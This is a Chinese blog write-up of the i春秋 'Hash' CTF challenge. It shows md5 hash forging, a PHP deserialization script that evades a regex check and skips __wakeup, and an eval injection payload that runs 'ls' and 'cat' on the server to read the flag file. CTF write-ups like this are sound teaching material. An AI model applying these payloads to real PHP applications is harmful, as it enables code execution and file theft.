i春秋Hash

打开题目页面是一个超链接

先查看源码得到一段信息

 

 

没什么,这只是超链接跳转的信息

点击跳转到下一个界面

 

提示我们如果我们的传入不是123123也就是key了,在上面的url就可以看到

如果key!=123我们就能得到flag

然后后面是一段隐藏的信息,需要查看源码才看得到

<!--$hash=md5($sign.$key);the length of $sign is 8

告诉我们hash等于sign.keymd5加密,然后sign的长度是8

题目中给了一段keyhash的例子

key=123&hash=f9109d5f83921a551cf859f853afe7bb

先对hash md5解密一下试试

解出来是kkkkkk01123

取其前8位就是kkkkkk01,所以这里的sign=kkkkkk01然后key=123

很简单嘛,直接修改了就,让key=111然后sign还是等于kkkkkk01,构造hash=md5kkkkkk01111

adaa10eef3a02754da03b5a3a6f40ae6(注意,这里是32位的md5加密)

构造出url

http://dfa8409734bd4b7da26d1f5e95d40371a6c316b7a5d14cf8.changame.ichunqiu.com/index.php?key=111&hash=adaa10eef3a02754da03b5a3a6f40ae6

访问之,提示我们next step is Gu3ss_m3_h2h2.php

不多说,直接访问试试

 

一段php代码

看看源码有没有什么遗漏的

(。。。。。应该没有)

审计代码

 

先定义了一个demo类然后是一个if语句,如果存在GET传入的var就执行,再定义变量var等于base64解密的GET[‘var’],然后一个正则表达式,如果匹配就输出stop hacking,此外就将var反序列化,此外高亮文件Gu3ss_m3_h2h2.php

再看他的demo

先是定义私有变量file让它指定一个文件

然后再定义一个共有函数,让其this变量指向file的值等于file

再定义函数__destruct(),让其输出高亮的文件。。。也就是我们看到的

然后又定义一个函数,如果this_file指向的文件不是这个就让其等于这个

最后还有一句注释,这秘密在f15g_1s_here.php

 

大概意思懂了,url处通过请求访问Gu3ss_m3_h2h2.php文件,如果不是这个文件名的访问则会自动访问这个Gu3ss_m3_h2h2.php文件,但是秘密又在另一个文件中,而且我们不能hack这个网页

。。。。。。。

想想只需要绕过就行了吧

我们这里就写个脚本来加密下f15g_1s_here.php来绕过它

 

<?phpclass Demo {
    private $file = 'Gu3ss_m3_h2h2.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }}$a = new Demo('f15g_1s_here.php');$s = serialize($a);echo $s;echo '<br>';$s = str_replace('O:4', 'O:+4',$s);//绕过正则$s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数echo base64_encode($s);//最后base64编码?>

 

本地运行即可得到我们需要传入的值

TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ== 构造url

http://dfa8409734bd4b7da26d1f5e95d40371a6c316b7a5d14cf8.changame.ichunqiu.com/Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

成功进入下一步

 

 

再审计,如果存在GET传入的val就令变量val等于其,然后eval一段内容,内容具体组成是value的值连上valaddslashes转义字符串再连上;组成

很明显了,这里就要我们利用eval()来获取到flag

先试试f15g_1s_here.php?val=${eval("echo 'ls' ;")}

发现页面没有显示了就。。。。看来不能这样用,因为上面的提示中提到了addslashes转义,它会将我们的’”都进行转义所以就不能这么构造eval指令

这里使用urlGET传值来避免val中的’ls’被转义构造payload

f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `ls`;

 

 

查看到所有文件,再cat查看

Payload

f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;

页面也没有回显,查看源码得到flag

 

posted @ 2019-09-11 14:09  七星易  阅读(352)  评论(0编辑  收藏  举报